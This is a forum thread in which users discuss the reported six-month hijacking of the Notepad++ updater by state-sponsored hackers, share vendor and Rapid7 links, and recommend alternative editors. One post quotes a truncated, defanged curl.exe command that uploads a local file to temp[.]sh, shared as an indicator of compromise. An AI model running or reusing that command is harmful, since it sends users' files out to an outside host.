# Notepad++ Hacked for Six Months **URL:** \ **Category:** General Discussion\ **Created:** [February 3, 2026, 12:01am UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710 "2026-02-03T00:01:28Z")\ **Posts on this page:** 20\ **Page:** 1
**Author:** ![pturmel](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/pturmel/32/3295_2.png) [@pturmel](https://forum.inductiveautomation.com/u/pturmel)\ **Post date:** [February 3, 2026, 12:01am UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/1 "2026-02-03T00:01:28Z")
How many here are users of Notepad++? > **[Chinese Hackers Remote Executed Code Via Notepad++ for 6 Months](https://lunduke.substack.com/p/chinese-hackers-remote-executed-code)** > > From June of 2025, hackers working with the Chinese government utilized the Notepad++ update system to run code on users computers. (I can't recall the last time I used Windows for text editing, but it would have been NPPP.) ---
**Author:** ![JordanCClark](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/jordancclark/32/83362_2.png) [@JordanCClark](https://forum.inductiveautomation.com/u/JordanCClark)\ **Post date:** [February 3, 2026, 12:38pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/2 "2026-02-03T12:38:52Z")
That's... quite a window of opportunity. I like NPPP a lot, political leanings aside. Now I have to remember if it's installed on any of my VMs ---
**Author:** ![bkarabinchak.psi](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/bkarabinchak.psi/32/83567_2.png) [@bkarabinchak.psi](https://forum.inductiveautomation.com/u/bkarabinchak.psi)\ **Post date:** [February 3, 2026, 12:50pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/3 "2026-02-03T12:50:11Z")
Some details. > **[Notepad++ Hijacked by State-Sponsored Hackers | Notepad++](https://notepad-plus-plus.org/news/hijacked-incident-info-update/)** It seems like only the in-app updater was affected - if you downloaded it straight from the official source you should be ok. If the build version is before June 2025 that predates all of this and looks like you are fine (yay for never updating on my host). Seems like it was also for targeted users but so far that’s unknown - I am assuming not little old me but still gives me some agita. If it’s after well I’m not sure what next steps for you should be. I have a few VM’s with a recent build. Probably run some scanning softwares? Pretty crazy this happened to such a widely used piece of software. ---
**Author:** ![JordanCClark](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/jordancclark/32/83362_2.png) [@JordanCClark](https://forum.inductiveautomation.com/u/JordanCClark)\ **Post date:** [February 3, 2026, 1:01pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/4 "2026-02-03T13:01:07Z")
Come more in-depth stuff here including IoC's > **[The Chrysalis Backdoor: A Deep Dive into Lotus Blossom’s toolkit](https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/)** > > Rapid7 Labs, together with the Rapid7 MDR team, has uncovered a sophisticated campaign attributed to the Chinese APT group Lotus Blossom. ---
**Author:** ![bkarabinchak.psi](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/bkarabinchak.psi/32/83567_2.png) [@bkarabinchak.psi](https://forum.inductiveautomation.com/u/bkarabinchak.psi)\ **Post date:** [February 3, 2026, 1:06pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/5 "2026-02-03T13:06:18Z")
Some more info. Seems like East Asian supply chain organizations were the target but still good info in this thread about how to tell if you were affected and what you should do next. > **[autoupdater and connection temp.sh](https://community.notepad-plus-plus.org/topic/27212/autoupdater-and-connection-temp-sh/13?_=1770081188510)** > > Submission for any help regarding a finding that came through from AutoUpdater!? Malicious command seen: curl.exe -F "file=@a.txt" -s https://temp\[.\]sh/uploa... ---
**Author:** ![bkarabinchak.psi](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/bkarabinchak.psi/32/83567_2.png) [@bkarabinchak.psi](https://forum.inductiveautomation.com/u/bkarabinchak.psi)\ **Post date:** [February 3, 2026, 1:14pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/6 "2026-02-03T13:14:43Z")
Does anyone know of any alternatives friendly to windows? I feel like I will never be allowed to use this again now from IT. Sublime text still kicking around? ---
**Author:** ![JordanCClark](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/jordancclark/32/83362_2.png) [@JordanCClark](https://forum.inductiveautomation.com/u/JordanCClark)\ **Post date:** [February 3, 2026, 1:17pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/7 "2026-02-03T13:17:09Z")
> **[Kate - Get an Edge in Editing](https://kate-editor.org/)** > > Kate is a modern text editor built on the KDE Frameworks and Qt. ---
**Author:** ![bkarabinchak.psi](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/bkarabinchak.psi/32/83567_2.png) [@bkarabinchak.psi](https://forum.inductiveautomation.com/u/bkarabinchak.psi)\ **Post date:** [February 3, 2026, 1:19pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/8 "2026-02-03T13:19:06Z")
Oh nice I use that on my personal linux pc, I didn’t realize it was also available for windows. Excellent thank you. ---
**Author:** ![Jonathan\_Meredith](https://avatars.discourse-cdn.com/v4/letter/j/a183cd/32.png) [@Jonathan\_Meredith](https://forum.inductiveautomation.com/u/Jonathan_Meredith)\ **Post date:** [February 3, 2026, 1:46pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/9 "2026-02-03T13:46:58Z")
VSCode is a good alternative or UltraEdit if you need to open huge files. ---
**Author:** ![pturmel](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/pturmel/32/3295_2.png) [@pturmel](https://forum.inductiveautomation.com/u/pturmel)\ **Post date:** [February 3, 2026, 2:41pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/10 "2026-02-03T14:41:07Z")
Since I'm a KDE fan, kate is my go-to for text editing of all kinds. ---
**Author:** ![Ryan\_Allen](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/ryan_allen/32/47013_2.png) [@Ryan\_Allen](https://forum.inductiveautomation.com/u/Ryan_Allen)\ **Post date:** [February 3, 2026, 3:05pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/11 "2026-02-03T15:05:12Z")
Honestly the new Windows 11 integrated notepad software is actually pretty good ---
**Author:** ![JordanCClark](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/jordancclark/32/83362_2.png) [@JordanCClark](https://forum.inductiveautomation.com/u/JordanCClark)\ **Post date:** [February 3, 2026, 3:17pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/12 "2026-02-03T15:17:42Z")
> [@Ryan\_Allen](#): > > Windows 11 integrated notepad software is actually pretty good Well... better than it was. 😉 ---
**Author:** ![Kevin.Herron](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/kevin.herron/32/7259_2.png) [@Kevin.Herron](https://forum.inductiveautomation.com/u/Kevin.Herron)\ **Post date:** [February 3, 2026, 3:19pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/13 "2026-02-03T15:19:06Z")
VS Code is surprisingly decent as a text editor, and works on Linux and macOS too. ---
**Author:** ![bkarabinchak.psi](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/bkarabinchak.psi/32/83567_2.png) [@bkarabinchak.psi](https://forum.inductiveautomation.com/u/bkarabinchak.psi)\ **Post date:** [February 3, 2026, 3:21pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/14 "2026-02-03T15:21:24Z")
I will never get over that it has AI integration lol. Though I do like it at least has tabs now. ![image](https://us1.discourse-cdn.com/inductiveautomation/original/3X/7/b/7bcf87b0ca374d75b606af0d1de69403f3b9f054.png) ---
**Author:** ![Ryan\_Allen](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/ryan_allen/32/47013_2.png) [@Ryan\_Allen](https://forum.inductiveautomation.com/u/Ryan_Allen)\ **Post date:** [February 3, 2026, 4:03pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/15 "2026-02-03T16:03:11Z")
For sure, I dislike the forced copilot integration into everything as well. And yes it’s definitely missing features compared to Notepad++ like macros and such if you were using those. Much better than it used to be though and it’s integrated for Windows users! As Kevin said, VS Code is definitely the way to go though if you want something full featured with extensions ---
**Author:** ![lrose](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/lrose/32/62724_2.png) [@lrose](https://forum.inductiveautomation.com/u/lrose)\ **Post date:** [February 3, 2026, 4:23pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/16 "2026-02-03T16:23:26Z")
I have used NPPP for a long time, fortunately, I'm one of those who just cancels the "There's a new version available" dialog. So fortunetly, I accidentally avoided this mess. Then IT forced an upgrade to the version that has resolved this issue. Since, I am forced to use Windows 11 at work, I have navigated to doing the vast majority of my text editing and programming in Wezterm, with NeoVim. I have also just discoverd glazewm which has changed my workflow signifcantly. > **[GitHub - glzr-io/glazewm: GlazeWM is a tiling window manager for Windows...](https://github.com/glzr-io/glazewm)** > > GlazeWM is a tiling window manager for Windows inspired by i3wm. Think Linux Hyprland. ---
**Author:** ![michael.flagler](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/michael.flagler/32/26272_2.png) [@michael.flagler](https://forum.inductiveautomation.com/u/michael.flagler)\ **Post date:** [February 3, 2026, 4:55pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/17 "2026-02-03T16:55:21Z")
Big Notepad++ user here also. I use Chocolatey for my installation and updates, so may have avoided this due to that unless their hosting provider was intercepting those installs also, but looks like I was unaffected. ---
**Author:** ![pturmel](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/pturmel/32/3295_2.png) [@pturmel](https://forum.inductiveautomation.com/u/pturmel)\ **Post date:** [February 16, 2026, 2:41pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/18 "2026-02-16T14:41:00Z")
> [@Ryan\_Allen](#): > > Windows 11 integrated notepad software is actually pretty good Well, for various definitions of "good". Good for hackers, apparently: [https://www.bleepingcomputer.com/news/microsoft/windows-11-notepad-flaw-let-files-execute-silently-via-markdown-links/](https://www.bleepingcomputer.com/news/microsoft/windows-11-notepad-flaw-let-files-execute-silently-via-markdown-links/) My "No Microsoft" policy keeps paying off. ---
**Author:** ![Ryan\_Allen](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/ryan_allen/32/47013_2.png) [@Ryan\_Allen](https://forum.inductiveautomation.com/u/Ryan_Allen)\ **Post date:** [February 16, 2026, 2:53pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/19 "2026-02-16T14:53:15Z")
Figures. Guess I need to just have my openclaw create my own notepad ++ ---
**Author:** ![bkarabinchak.psi](https://sea1.discourse-cdn.com/inductiveautomation/user_avatar/forum.inductiveautomation.com/bkarabinchak.psi/32/83567_2.png) [@bkarabinchak.psi](https://forum.inductiveautomation.com/u/bkarabinchak.psi)\ **Post date:** [February 16, 2026, 3:05pm UTC](https://forum.inductiveautomation.com/t/notepad-hacked-for-six-months/113710/20 "2026-02-16T15:05:15Z")
Why have openclaw write notepad++? Just tell it everything you need to remember!